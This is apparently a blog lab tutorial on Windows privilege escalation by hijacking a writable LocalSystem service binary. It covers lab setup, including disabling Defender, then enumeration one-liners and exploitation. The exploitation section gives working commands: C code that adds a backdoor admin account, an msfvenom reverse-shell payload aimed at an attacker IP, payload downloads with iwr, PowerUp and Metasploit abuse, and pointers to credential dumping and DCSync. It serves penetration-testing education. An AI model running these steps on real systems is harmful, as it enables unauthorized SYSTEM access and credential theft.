Byte JMP
Windows Privilege Escalation: Service Binary Hijacking

Windows Privilege Escalation: Service Binary Hijacking

From a low privileged domain user to NT AUTHORITY\SYSTEM by overwriting a service executable that weak file permissions left writable. Lab setup, enumeration, and exploitation.

·21 min read

TL;DR

Windows services often run as NT AUTHORITY\SYSTEM, and the Service Control Manager (SCM) blindly executes whatever binary the service's ImagePath points to. Service Binary Hijacking abuses services where a low privileged user can replace that executable on disk, because the binary file (or the folder holding it) is writable by ordinary users. Drop your own binary in place, cause the service to (re)start, and your code runs as SYSTEM. On a domain joined host that means owning the machine account; on a Domain Controller it means owning the domain.


How Windows services work

To abuse a service we first have to understand what the operating system trusts about it.

A Windows service is a background program managed by the Service Control Manager (services.exe). Services start without an interactive logon, usually at boot, and run independently of any user session. Each service is described by a registry key under:

HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>

Two values in that key matter for us:

Registry valueMeaning
ImagePathThe command line the SCM executes to launch the service
ObjectNameThe account the service runs as (e.g. LocalSystem)

 

The security context is the crux. A large share of services, especially third party ones, run as LocalSystem, which maps to NT AUTHORITY\SYSTEM: the most powerful local principal on the box. It has full control of the machine, and on a domain joined host it authenticates over the network as the computer account (COMPUTERNAME$).

Services also have a start type: Boot, System, Automatic, Manual, or Disabled. Automatic services launch at boot; the SCM reads ImagePath and runs that binary as the account in ObjectName.

And here is the trust assumption the whole bug class hangs on:

The SCM runs whatever bytes live at ImagePath, as the configured account, with no integrity check. If a low privileged user can change which bytes sit at that path, they get to choose what runs as SYSTEM.

Service Control Manager launching a binary as SYSTEM


Where the vulnerability lives

Three things have to line up for Service Binary Hijacking:

  1. The service runs as a privileged account, such as LocalSystem or a member of the local Administrators group. If it runs as LocalService/NetworkService/a plain user, there's little to gain.
  2. A low privileged user can replace the executable: either the binary file is writable, or the folder containing it is writable (you drop in a replacement, or hijack a DLL it loads).
  3. The service can be (re)started, through the user's own start/stop rights, a service crash and recovery action, or simply the next reboot (which fires every Automatic service).

The permissions that matter

You're hunting for any of these on the binary or its folder (shown as icacls letters and their raw access mask / SDDL equivalents):

Right (icacls / SDDL)MeaningWhy it matters
M (Modify)Read, write, execute, deleteOverwrite the service binary
F (Full Control)All permissions including DACL changesOverwrite the binary and rewrite its ACL
(W) on the folder / FILE_ADD_FILECreate files in the directoryDrop a replacement binary or a hijack DLL
RP (SDDL) / SERVICE_STARTStart the serviceTrigger your payload
WP (SDDL) / SERVICE_STOPStop the serviceRestart it to load the new binary
SERVICE_CHANGE_CONFIG or WRITE_DAC on the service objectReconfigure the serviceThe related weak service permissions variant

Not to be confused with its cousins

"Service Binary Hijacking" specifically means overwriting the on disk executable. It sits next to a few sibling techniques that share the same goal but a different primitive, worth knowing so you label your finding correctly:

  • Weak service permissions: you hold SERVICE_CHANGE_CONFIG/WRITE_DAC on the service object, so you just point it somewhere else with sc config <svc> binPath= "...". No file write needed.
  • Unquoted service path: an ImagePath like C:\Program Files\Evil Corp\updater.exe with no quotes makes Windows try C:\Program.exe, then C:\Program Files\Evil.exe, etc. Drop a binary earlier in that search order.
  • DLL hijacking: the service loads a DLL from a writable folder, or one reachable through its search order, and you supply the DLL.

This post is about the first primitive: the binary itself is writable.

Why would a service end up like this?

  • Third party installers that grant Users/Authenticated Users Modify on the install directory, often so the app can update itself or write logs/config next to its binary. The convenience for the vendor is a SYSTEM shell for everyone else.
  • Software installed outside C:\Program Files, into a custom or root level folder (C:\Apps\..., C:\Tools\...) that inherits loose permissions.
  • An app first run from a location writable by users and later registered as a SYSTEM service.
  • Legacy line of business software packaged with no thought to least privilege.

Setting it up in the lab (for demonstration)

We'll build the scenario from scratch in the evilcorp.local lab. The vulnerable service lives on a domain joined Windows host; in a realistic engagement that's a member server or workstation where you already have a foothold as a low privileged user. If your lab is a single DC, the same steps work there. Just remember that SYSTEM on a DC is already a full domain compromise, so treat it as a stand in for a member host.

Our low privileged principal will be a plain domain user, bob, with no local admin rights.

Lab prerequisite: disable Windows Defender. The payloads used in the Exploitation section (compiled adduser.c, msfvenom binaries) are well known signatures. If real time protection is active, Defender will silently neutralize the binary after it lands on disk, and the payload will never execute. In a real engagement, AV evasion is a separate discipline; for this lab we disable it so the focus stays on the service hijacking technique itself. As Administrator on the target host:

# If Tamper Protection is on, disable it first through the GUI:
# Windows Security > Virus & threat protection > Manage settings > Tamper Protection: Off
Set-MpPreference -DisableRealtimeMonitoring $true

Confirm with (Get-MpComputerStatus).RealTimeProtectionEnabled, which should return False. Re-enable it when you are done with the lab (Set-MpPreference -DisableRealtimeMonitoring $false).

Step 1: Create the low-privileged domain user

Run on the DC (or a host with the RSAT ActiveDirectory module and domain admin credentials):

$Password = ConvertTo-SecureString "Password1" -AsPlainText -Force

New-ADUser `
    -Name "bob" `
    -SamAccountName "bob" `
    -UserPrincipalName "[email protected]" `
    -DisplayName "Bob (standard user)" `
    -Description "Low-privileged domain user - Service Binary Hijacking lab" `
    -AccountPassword $Password `
    -Enabled $true `
    -PasswordNeverExpires $true

bob is a member of Domain Users and nothing else, with no local administrator rights and no special privileges.

Step 1.1: (Optional) Give bob WinRM access

If you plan to run the exploitation through Evil-WinRM or Enter-PSSession instead of RDP, bob needs to be in the Remote Management Users local group. This group may not exist by default on every Windows Server edition; create it first if needed:

net localgroup "Remote Management Users" /add 2>$null
net localgroup "Remote Management Users" "EVILCORP\bob" /add

This step is only required for WinRM. If you connect as bob over RDP (interactive logon), skip it. Note that WinRM introduces additional restrictions covered in the Enumeration section: the SCM and WMI deny access to network logon sessions, so some commands need to be adapted.

Step 2: Create the install folder and a stand-in vendor binary

On the host that will run the service:

New-Item -Path "C:\Apps\EvilCorpUpdater" -ItemType Directory -Force | Out-Null

# Stand-in for a real third-party service executable. Any file works for the
# lab - what matters is the ACL and the service that points at it.
Copy-Item "C:\Windows\System32\cmd.exe" "C:\Apps\EvilCorpUpdater\updater.exe"

Step 3: Register the service running as LocalSystem

New-Service `
    -Name "EvilCorpUpdater" `
    -BinaryPathName "C:\Apps\EvilCorpUpdater\updater.exe" `
    -DisplayName "EvilCorp Updater Service" `
    -Description "Vulnerable service - Service Binary Hijacking lab" `
    -StartupType Automatic

New-Service registers the service under LocalSystem (NT AUTHORITY\SYSTEM) by default. The equivalent with sc.exe:

sc.exe create EvilCorpUpdater binPath= "C:\Apps\EvilCorpUpdater\updater.exe" start= auto obj= LocalSystem DisplayName= "EvilCorp Updater Service"

sc.exe syntax is picky: there must be a space after each = and none before it. binPath= "..." works; binPath="..." and binPath ="..." do not.

Step 4: Introduce the misconfiguration (the actual vulnerability)

Make the binary and its folder writable by every authenticated user:

icacls "C:\Apps\EvilCorpUpdater" /grant "Authenticated Users:(OI)(CI)(M)"
  • (M) = Modify (read/write/execute/delete), which is enough to overwrite the binary.
  • (OI)(CI) = Object Inherit + Container Inherit, so the permission flows down to files inside the folder, including our replacement.

This models the single most common real world cause: an installer that drops its files somewhere and grants Users/Authenticated Users Modify so the app can update itself. That's all it takes.

Step 5: (Lab convenience) let bob restart the service without a reboot

In the real world a low privileged user usually can't restart a SYSTEM service; you wait for or trigger a reboot. To keep the lab loop fast, grant Authenticated Users start/stop rights on the service object. First read the current descriptor:

sc.exe sdshow EvilCorpUpdater

Copy exactly what it prints. On a Domain Controller the output typically includes a S: (SACL) section at the end. Your ACE must go at the end of the D: block, before any S: block, not at the very end of the string.

The ACE we add is (A;;CCLCSWRPWPLOCRRC;;;AU). It grants Authenticated Users the same read rights that Interactive Users already have (CC, LC, SW, LO, CR, RC) plus SERVICE_START (RP) and SERVICE_STOP (WP). All of these are needed because sc.exe start internally calls OpenService requesting both start and query status permissions; granting only RP+WP without the read rights results in "Access is denied", especially over WinRM.

Using a typical DC default (which includes a SO ACE for Server Operators and a SACL):

sc.exe sdset EvilCorpUpdater "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;CCLCSWRPWPLOCRRC;;;AU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

On a member server (no SO ACE, no SACL) the string is shorter:

sc.exe sdset EvilCorpUpdater "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPLOCRRC;;;AU)"

Always base your string on your own sdshow output. Copy it character for character, then insert (A;;CCLCSWRPWPLOCRRC;;;AU) right before the S: (or at the end if there is no S:). A malformed SDDL can lock the service so even admins can't manage it without repairing the descriptor.

Confirm the setup

Get-CimInstance Win32_Service -Filter "Name='EvilCorpUpdater'" |
    Select-Object Name, StartName, State, StartMode, PathName

Expected output. Note StartName : LocalSystem and StartMode : Auto. The state is Stopped because New-Service doesn't start it automatically; it will launch on the next boot (or when we start it during exploitation):

Name            StartName   State   StartMode PathName
----            ---------   -----   --------- --------
EvilCorpUpdater LocalSystem Stopped Auto      C:\Apps\EvilCorpUpdater\updater.exe

Done. From here on, anyone who can log in as an authenticated user on this host can turn that writable binary into a SYSTEM shell.


Enumeration

Everything from here runs as bob, a normal user with a shell on the box and no admin rights.

Manual: list the non-Windows services and their accounts

Third party services are the usual suspects, so filter out anything under C:\Windows\:

Get-CimInstance Win32_Service |
    Where-Object { $_.PathName -notmatch 'C:\\Windows\\' } |
    Select-Object Name, StartName, State, PathName

WinRM / Evil-WinRM users: if this returns Access denied, it's because WinRM creates a network logon (type 3) and the SCM denies enumeration to sessions outside the Interactive Users (IU) group. Both Get-CimInstance and Get-WmiObject hit this wall. Read from the registry instead, which Authenticated Users can access regardless of logon type:

Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
    $svc = Get-ItemProperty $_.PSPath
    if ($svc.ImagePath -and $svc.ImagePath -notmatch 'system32|svchost') {
        [PSCustomObject]@{
            Name       = $_.PSChildName
            ImagePath  = $svc.ImagePath
            ObjectName = $svc.ObjectName
            Start      = $svc.Start
        }
    }
} | Format-Table -AutoSize

The Start column is numeric: 2 = Auto, 3 = Manual, 4 = Disabled. Look for rows where ObjectName is LocalSystem and the ImagePath sits outside C:\Windows\.

EvilCorpUpdater shows up running as LocalSystem, a privileged service whose binary lives in a non standard folder. That's exactly the profile worth checking:

Name            StartName   State   PathName
----            ---------   -----   --------
EvilCorpUpdater LocalSystem Stopped C:\Apps\EvilCorpUpdater\updater.exe

Manual: check the binary's permissions

icacls "C:\Apps\EvilCorpUpdater\updater.exe"

The (M) next to Authenticated Users is the finding: bob can overwrite this file:

C:\Apps\EvilCorpUpdater\updater.exe NT AUTHORITY\SYSTEM:(I)(F)
                                    BUILTIN\Administrators:(I)(F)
                                    NT AUTHORITY\Authenticated Users:(I)(M)

Prefer to confirm write access directly? This snippet succeeds only if you can open the file for writing:

[System.IO.File]::OpenWrite("C:\Apps\EvilCorpUpdater\updater.exe").Close()

One-liner: native sweep, no external tools

The two manual checks above, listing the services and then reading a binary's ACL, combine naturally into a single sweep that runs on stock Windows with nothing to download. Two variants exist depending on how you got your shell.

Interactive logon (RDP, console, runas)

If you have an interactive session (RDP, physical console, or runas), WMI can query the SCM directly. This version walks every service whose binary sits outside system32/svchost, resolves the executable path (quoted or not), reads the file ACL, and reports any binary writable by Everyone, BUILTIN\Users, or Authenticated Users:

Get-WmiObject Win32_Service | Where-Object { $_.PathName -and $_.PathName -notmatch 'system32|svchost' } | ForEach-Object { $svc = $_.Name; $state = $_.StartMode; $raw = $_.PathName -replace '^\s*"([^"]+)".*','$1'; if ($raw -eq $_.PathName) { $raw = ($_.PathName -split '\.exe')[0] + '.exe' }; $raw = $raw.Trim(); try { $acl = Get-Acl $raw -ErrorAction Stop; $weak = $acl.Access | Where-Object { $_.FileSystemRights -match 'Write|Modify|FullControl' -and $_.IdentityReference -match 'Everyone|BUILTIN\\Users|Authenticated Users' }; if ($weak) { [PSCustomObject]@{ Service=$svc; StartMode=$state; BinaryPath=$raw; Identity=$weak.IdentityReference; Rights=$weak.FileSystemRights } } } catch {} } | Format-Table -AutoSize

The CMD equivalent using wmic + icacls:

for /f "tokens=2 delims==" %a in ('wmic service list full ^| findstr /i "PathName" ^| findstr /v /i "system32\\ svchost"') do @for /f "delims=*" %b in ("%a") do @(echo --- %b & icacls "%b" 2>nul) | findstr /i "(F) (M) (W) Everyone Users BUILTIN Authenticated"

Network logon (WinRM, evil-winrm, PSRemoting)

If you landed a shell through WinRM (Evil-WinRM, Enter-PSSession, etc.), both Get-WmiObject and Get-CimInstance will return Access denied. So will sc.exe query. This happens because WinRM creates a network logon (type 3), and the SCM's default DACL only grants enumeration to Interactive Users (IU), a group that network sessions never join. The WMI namespace (root\cimv2) enforces the same restriction.

The fix is to skip the SCM entirely and read from the registry. Every service's ImagePath and ObjectName live under HKLM:\SYSTEM\CurrentControlSet\Services, and Authenticated Users have read access there regardless of the logon type. Same logic, different data source:

$m=@{0='Boot';1='System';2='Auto';3='Manual';4='Disabled'}; Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $p=Get-ItemProperty $_.PSPath; $n=$_.PSChildName; if ($p.ImagePath -and $p.ImagePath -notmatch 'system32|svchost' -and $p.ObjectName -match 'LocalSystem') { $raw=$p.ImagePath -replace '^\s*"([^"]+)".*','$1'; if ($raw -eq $p.ImagePath) { $raw=($p.ImagePath -split '\.exe')[0]+'.exe' }; $raw=$raw.Trim(); try { $acl=Get-Acl $raw -EA Stop; $w=$acl.Access | Where-Object { $_.FileSystemRights -match 'Write|Modify|FullControl' -and $_.IdentityReference -match 'Everyone|BUILTIN\\Users|Authenticated Users' }; if ($w) { [PSCustomObject]@{ Service=$n; StartMode=$m[[int]$p.Start]; BinaryPath=$raw; Identity=$w.IdentityReference; Rights=$w.FileSystemRights } } } catch {} } } | Format-Table -AutoSize

The CMD equivalent using reg query + icacls:

for /f "delims=" %k in ('reg query "HKLM\SYSTEM\CurrentControlSet\Services" 2^>nul') do @for /f "tokens=2*" %t in ('reg query "%k" /v ImagePath 2^>nul ^| find "REG_EXPAND_SZ"') do @(echo %u | findstr /v /i "system32 svchost" >nul && (echo --- %u & icacls "%~u" 2>nul | findstr /i "(F) (M) (W) Everyone Users BUILTIN Authenticated")) 2>nul

Quick reference

Interactive (RDP / console)Network (WinRM)
Data sourceWMI (Win32_Service) / wmicRegistry (HKLM:\...\Services) / reg query
WhySession joins IU, SCM allows enumerationNo IU membership, SCM denies; registry ACL still allows read
ACL checkGet-Acl / icaclsSame

Expected output

Both variants produce the same result. In our lab the PowerShell version collapses the enumeration into a single row that points straight at the finding:

Service         StartMode BinaryPath                          Identity                          Rights
-------         --------- ----------                          --------                          ------
EvilCorpUpdater Auto      C:\Apps\EvilCorpUpdater\updater.exe  NT AUTHORITY\Authenticated Users  Modify, Synchronize

The CMD versions print each service binary after a --- <path> marker, followed by the matching ACEs. For EvilCorpUpdater the entry that matters is Authenticated Users:(M); the SYSTEM and Administrators (F) lines are expected and just get caught by the same filter:

--- C:\Apps\EvilCorpUpdater\updater.exe
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)

All four run fine as bob with no admin rights and nothing staged on disk, which is what makes them useful on a hardened host or when you want to stay quiet. Every version runs on stock Windows PowerShell 5.1 or cmd.exe. If you paste a cmd loop into a .bat file, double the loop variables (%%a, %%b, %%k, %%t, %%u).

Manual: accesschk (the classic)

accesschk is part of Microsoft's Sysinternals suite. It does not ship with Windows, so you need to download it and transfer it to the target before you can use it. On Kali:

wget https://live.sysinternals.com/accesschk64.exe
python3 -m http.server 80

On the target as bob (use iwr, not Evil-WinRM upload):

iwr -uri http://<KALI_IP>/accesschk64.exe -Outfile C:\Users\bob\accesschk.exe

Then check the file permissions, and separately sweep the service objects for restart rights:

:: Full access list on the service binary (reveals the writable ACE)
C:\Users\bob\accesschk.exe /accepteula -quv "C:\Apps\EvilCorpUpdater\updater.exe"

:: Which services can "Authenticated Users" modify / control?
C:\Users\bob\accesschk.exe /accepteula -uwcqv "Authenticated Users" *

/accepteula skips the first run prompt (handy in a non interactive shell). -c treats the argument as a service name; * means "all services." The file check confirms you can write the binary; the service sweep confirms you can restart it.

If transferring tools to the target is not an option, the native alternatives already covered above (icacls, Get-Acl, the registry one-liners) achieve the same result with nothing to download.

Automated: PowerUp

PowerUp (part of PowerSploit) has a check built for exactly this:

Import-Module .\PowerUp.ps1

# Services whose ON-DISK binary the current user can modify
Get-ModifiableServiceFile

WinRM users: PowerUp uses Get-WMIObject internally, which fails with "Access denied" over WinRM (network logon, no IU group membership). PowerUp's enumeration functions only work from an interactive session (RDP, console, runas). If you are limited to WinRM, use the native registry one-liners and icacls from the sections above instead.

It points straight at the service and hands you the abuse function to run:

ServiceName                     : EvilCorpUpdater
Path                            : C:\Apps\EvilCorpUpdater\updater.exe
ModifiableFile                  : C:\Apps\EvilCorpUpdater\updater.exe
ModifiableFilePermissions       : {WriteData/AddFile, AppendData/AddSubdirectory, ...}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'EvilCorpUpdater'
CanRestart                      : True

Invoke-AllChecks runs this and every other PrivEsc check in one shot:

Invoke-AllChecks

Automated: winPEAS

Like accesschk, winPEAS does not ship with Windows. Transfer it to the target the same way (iwr from a Python HTTP server):

iwr -uri http://<KALI_IP>/winPEASx64.exe -Outfile C:\Users\bob\winPEASx64.exe
C:\Users\bob\winPEASx64.exe servicesinfo

winPEAS flags services whose binary or folder permissions are weak, highlighting the writable ones in red/yellow so they're hard to miss.

WinRM users: winPEAS also queries the SCM internally. Some of its service checks will return incomplete results or errors over a network logon session. For best results, run it from an interactive session (RDP, console). Over WinRM, the native registry one-liners from the sections above are the most reliable approach.


Exploitation

We have a writable binary that runs as SYSTEM. Now we replace it and fire it. Four ways, from most hands on to most automated.

Path A: Manual, add a local administrator

Deterministic and self contained, no listener needed. First, the payload source (adduser.c) on your Kali box:

#include <stdlib.h>

int main()
{
    system("net user hacker Passw0rd!123 /add");
    system("net localgroup administrators hacker /add");
    return 0;
}

Cross compile on Kali with MinGW:

x86_64-w64-mingw32-gcc adduser.c -o updater.exe

Start a web server in the same directory so the target can pull the binary:

python3 -m http.server 80

On the target as bob, back up the original and download the payload with iwr. Do not use Evil-WinRM's upload command; it encodes files through a base64 PowerShell pipeline that can corrupt PE binaries:

move C:\Apps\EvilCorpUpdater\updater.exe C:\Apps\EvilCorpUpdater\updater.exe.bak
iwr -uri http://<KALI_IP>/updater.exe -Outfile C:\Apps\EvilCorpUpdater\updater.exe

Confirm the file arrived intact by comparing sizes (should match ls -l updater.exe on Kali):

(Get-Item C:\Apps\EvilCorpUpdater\updater.exe).Length

Trigger it. If you granted AU start/stop rights in Step 5:

sc.exe start EvilCorpUpdater

If you cannot restart the service (the common case)

In a realistic scenario a low privileged user will not have start/stop rights on the service. sc.exe start returns "Access is denied" and there is nothing to configure around it. Since the service's start type is Automatic, the payload fires on the next reboot. First confirm you have the SeShutdownPrivilege (it shows as Disabled, which only means the current process hasn't activated it yet; you can still use it):

whoami /priv

Look for SeShutdownPrivilege in the list. If it's there, issue a reboot:

shutdown /r /t 0

In a real penetration test, never reboot a production system without coordinating with the client's IT staff. A failed reboot can cause downtime and data loss. In the lab this is safe.

After the machine comes back up, reconnect as bob (RDP or Evil-WinRM). The SCM started every Automatic service at boot, including EvilCorpUpdater, which ran your payload as SYSTEM.

Verify the SYSTEM level impact:

net localgroup administrators

hacker is now a local admin, effectively a SYSTEM foothold on the host:

Members
-------------------------------------------------------------------------------
Administrator
hacker

Path B: msfvenom payloads

Want a shell instead of a new account, or a binary that responds to the SCM without the 1053 timeout error? Wrap the payload as a proper service binary with -f exe-service:

# Add-admin, wrapped so it talks to the SCM (clean start, no error 1053)
msfvenom -p windows/x64/exec CMD='net localgroup administrators hacker /add' -f exe-service -o updater.exe

# Or a reverse shell as a service (needs a listener)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe-service -o updater.exe

-f exe-service produces a binary that responds to the SCM, so sc start returns success and your payload runs as a background thread as SYSTEM. Catch the reverse shell with nc -lvnp 4444 or a Metasploit multi/handler.

Path C: PowerUp does the whole thing

Install-ServiceBinary generates the replacement binary, backs up the original, and swaps it in for you:

# Default: creates local admin 'john' / 'Password123!'
Install-ServiceBinary -Name 'EvilCorpUpdater'

# Or supply your own command
Install-ServiceBinary -Name 'EvilCorpUpdater' -Command 'net user hacker Passw0rd!123 /add && net localgroup administrators hacker /add'

Restart or reboot to fire it, then put the original back when you're done:

Restore-ServiceBinary -Name 'EvilCorpUpdater'

Path D: Metasploit (if you already have a session)

use exploit/windows/local/service_permissions
set SESSION 1
run

The module enumerates weak service and file permissions and abuses whatever it finds: a writable binary here, or a reconfigurable service object elsewhere.


Why this matters in an AD context

Local SYSTEM on a domain joined host is rarely the end goal; it's the pivot. Once you're SYSTEM you can:

  • Dump cached credentials, LSASS secrets, and the local SAM, often yielding domain user or service account material.
  • Extract the machine account hash (HOST$) and use it for authenticated actions and relaying.
  • Move laterally with the creds you just harvested.

And if the vulnerable service happens to sit on a Domain Controller, SYSTEM there means ntds.dit, DCSync, and full domain ownership. A single misconfigured third party service can therefore be the whole path from any authenticated user to Domain Admin.


References

  1. Service Security and Access Rights (Microsoft)
  2. AccessChk (Sysinternals, Microsoft)
  3. Windows Local Privilege Escalation (HackTricks)
  4. PowerSploit / PowerUp (Get-ModifiableServiceFile, Install-ServiceBinary)
  5. PEASS-ng / winPEAS
  6. Metasploit service_permissions (Rapid7)
  7. PayloadsAllTheThings: Windows Privilege Escalation